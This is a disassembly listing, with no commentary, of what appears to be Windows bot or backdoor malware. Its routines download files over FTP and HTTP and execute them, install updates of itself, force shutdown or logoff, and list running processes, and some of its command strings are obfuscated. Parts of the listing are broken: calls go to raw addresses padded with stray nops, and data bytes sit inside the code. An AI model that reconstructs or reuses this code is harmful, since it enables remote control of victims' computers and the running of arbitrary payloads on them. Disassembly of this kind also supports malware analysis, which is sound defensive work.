		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D640	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D6D0	proc near		; CODE XREF: sub_4014BAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D6D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D6D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D770	proc near		; CODE XREF: sub_4021E9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D770	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D830	proc near		; CODE XREF: sub_401C94j

var_44		= dword	ptr -44h
var_3C		= byte ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_24		= byte ptr  28h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_110		= byte ptr  114h
arg_120		= byte ptr  124h
arg_130		= byte ptr  134h
arg_1110	= dword	ptr  1114h
arg_1114	= byte ptr  1118h
arg_1130	= dword	ptr  1134h
arg_1138	= dword	ptr  113Ch
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041DF48 SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43C3A2
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_448F30
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF35
		lea	ebx, [esi+65h]
		push	offset byte_448F30
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF35
		lea	ecx, [esi+26h]
		push	offset byte_448F30
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF35
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D8D1
		push	offset byte_448F30
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D8C4
		push	offset byte_448F30
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D8D1


loc_41D8C4:				; CODE XREF: sub_41D830+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41DF3D
; ---------------------------------------------------------------------------


loc_41D8D1:				; CODE XREF: sub_41D830+70j
					; sub_41D830+92j
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41D95E
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41D96F


loc_41D95E:				; CODE XREF: sub_41D830+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41D96F:				; CODE XREF: sub_41D830+12Cj
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FDC
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 2800000h
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015E1
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DB04
		call	sub_401E1F
; ---------------------------------------------------------------------------
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		call	sub_401A7D
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DA1C
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41DF14
; ---------------------------------------------------------------------------


loc_41DA1C:				; CODE XREF: sub_41D830+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017EE
		push	eax
		call	sub_402266
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DA73
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF15
; ---------------------------------------------------------------------------


loc_41DA73:				; CODE XREF: sub_41D830+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_4016B3
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DAF2
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF15
; ---------------------------------------------------------------------------


loc_41DAF2:				; CODE XREF: sub_41D830+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D66
		add	esp, 4
		jmp	loc_41DD7B
; ---------------------------------------------------------------------------


loc_41DB04:				; CODE XREF: sub_41D830+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_40142E
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_40142E
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017EE
		push	eax
		call	sub_401AA0
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DB87
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		dd 69BAB8E8h, 0BEE99071h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41D830+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+30h+arg_24]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+24h+arg_24]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+2Ch+arg_24]
		call	sub_4017EE
		push	eax
		push	ebx
		call	near ptr 71AB428Ah
		nop
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DC80
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_24], esi
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+34h+var_18]
		mov	byte ptr [esp+34h+arg_1138], 3
		call	sub_401226
		lea	ecx, [esp+34h+arg_14]
		mov	byte ptr [esp+34h+arg_1138], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	[esp+34h+arg_1138], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41DF48
; ---------------------------------------------------------------------------


loc_41DC80:				; CODE XREF: sub_41D830+3DBj
					; sub_41D830+484j ...
		mov	eax, [esp+34h+var_20]
		push	0
		lea	edx, [esp+38h+arg_130]
		push	1000h
		push	edx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DCF8
		cmp	ebp, 1000h
		jge	short loc_41DCB0
		mov	[esp+ebp+44h+arg_120], 0


loc_41DCB0:				; CODE XREF: sub_41D830+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DC80


loc_41DCB6:				; CODE XREF: sub_41D830+4A5j
		push	4
		lea	ecx, [esp+edi+48h+arg_120]
		push	offset asc_444EC8 ; "\r\n\r\n"
		push	ecx
		nop
		call	near ptr 77C47A50h
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DCD9
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCB6
		jmp	short loc_41DC80
; ---------------------------------------------------------------------------


loc_41DCD9:				; CODE XREF: sub_41D830+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DCF8


loc_41DCE0:				; CODE XREF: sub_41D830+4C6j
		movsx	edx, [esp+edi+44h+arg_120]
		push	ebx
		push	edx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCE0


loc_41DCF8:				; CODE XREF: sub_41D830+46Ej
					; sub_41D830+4AEj ...
		mov	edi, [esp+44h+var_30]
		push	0
		lea	eax, [esp+48h+arg_120]
		push	1000h
		push	eax
		push	edi
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DD48
		cmp	ebp, 1000h
		jge	short loc_41DD28
		mov	[esp+ebp+54h+arg_110], 0


loc_41DD28:				; CODE XREF: sub_41D830+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DCF8


loc_41DD2E:				; CODE XREF: sub_41D830+514j
		movsx	ecx, [esp+edi+54h+arg_110]
		push	ebx
		push	ecx
		call	near ptr 77C40E76h
		nop
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DD2E
		jmp	short loc_41DCF8
; ---------------------------------------------------------------------------


loc_41DD48:				; CODE XREF: sub_41D830+4E6j
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 4
		push	edi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+arg_1114], 3
		call	sub_401226
		lea	ecx, [esp+58h+var_C]
		mov	[esp+58h+arg_1114], 2
		call	sub_401226


loc_41DD7B:				; CODE XREF: sub_41D830+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DE17
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41DF0C
		push	offset byte_448F30
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		jmp	loc_41DF0C
; ---------------------------------------------------------------------------


loc_41DE17:				; CODE XREF: sub_41D830+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		lea	edx, [esp+8Ch+var_3C]
		push	51h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		mov	ecx, eax
		mov	[esp+58h+arg_1114], 5
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		call	sub_402167
		add	esp, 8
		lea	ecx, [esp+58h+var_3C]
		mov	bl, al
		mov	[esp+58h+arg_1114], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DEE7
		mov	al, byte_449896
		test	al, al
		jz	short loc_41DEB6
		push	offset dword_449834
		mov	ecx, offset dword_44AD70
		call	sub_401451


loc_41DEB6:				; CODE XREF: sub_41D830+675j
		mov	al, byte_4498DF
		test	al, al
		jz	short loc_41DECE
		push	offset byte_44990F
		mov	ecx, offset dword_44AD70
		call	sub_401951


loc_41DECE:				; CODE XREF: sub_41D830+68Dj
		mov	ecx, offset dword_44AD70
		call	sub_401E79
		push	1
		mov	byte_4E8E44, 0
		nop
		call	near ptr 77C39E7Eh


loc_41DEE7:				; CODE XREF: sub_41D830+66Cj
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_41DF0C:				; CODE XREF: sub_41D830+597j
					; sub_41D830+5E2j
		mov	[esp+5Ch+var_44], esi
		lea	edx, [esp+5Ch+var_44]


loc_41DF14:				; CODE XREF: sub_41D830+1E7j
		push	edx


loc_41DF15:				; CODE XREF: sub_41D830+23Ej
					; sub_41D830+2BDj
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+5Ch+var_28]
		mov	[esp+5Ch+arg_1110], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41DF48
; ---------------------------------------------------------------------------


loc_41DF35:				; CODE XREF: sub_41D830+36j
					; sub_41D830+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41DF3D:				; CODE XREF: sub_41D830+9Cj
		push	eax
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
sub_41D830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D830


loc_41DF48:				; CODE XREF: sub_41D830+44Bj
					; sub_41D830+703j
		mov	ecx, [esp+34h+arg_1130]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D830
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E140	proc near		; CODE XREF: sub_401BA4j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E140
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41E140	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E31B
		push	offset dword_444FCC
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	6
		call	near ptr 28A0000h
		nop
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E31B:				; CODE XREF: ___:0041E2DEj
		lea	ecx, [esi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E36A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	5
		nop
		call	near ptr 28A0000h
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E36A:				; CODE XREF: ___:0041E32Dj
		lea	ecx, [esi+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E3B1
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	4
		nop
		call	near ptr 28A0000h


loc_41E3B1:				; CODE XREF: ___:0041E37Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E400	proc near		; CODE XREF: sub_401F7Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E400
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41E400	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017EE
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E660	proc near		; CODE XREF: sub_40161Dj

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E660
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E7FA
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018E8
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E7E2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_40170D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_40197E
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jz	short loc_41E7E2
		mov	ebp, dword_5118D8


loc_41E76E:				; CODE XREF: sub_41E660+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
